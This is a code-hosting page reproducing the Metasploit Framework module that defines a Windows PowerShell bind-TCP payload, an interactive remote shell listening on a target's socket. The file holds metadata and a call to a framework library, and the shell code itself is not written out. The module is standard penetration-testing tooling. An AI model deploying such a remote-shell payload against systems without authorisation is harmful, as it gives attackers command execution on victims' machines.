CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'rex/powershell'
6
7
module MetasploitModule
8
9
CachedSize = :dynamic
10
11
include Msf::Payload::Single
12
include Rex::Powershell::Command
13
include Msf::Payload::Windows::Powershell
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
18
'Description' => 'Interacts with a powershell session on an established socket connection',
19
'Author' => [
20
'Ben Turner', # benpturner
21
'Dave Hardy' # davehardy20
22
],
23
'References' => [
24
['URL', 'https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit']
25
],
26
'License' => MSF_LICENSE,
27
'Platform' => 'windows',
28
'Arch' => ARCH_CMD,
29
'Handler' => Msf::Handler::BindTcp,
30
'Session' => Msf::Sessions::PowerShell,
31
'RequiredCmd' => 'generic',
32
'Payload' => { 'Payload' => '' }
33
))
34
end
35
36
def generate(_opts = {})
37
generate_powershell_code("Bind")
38
end
39
end
40
41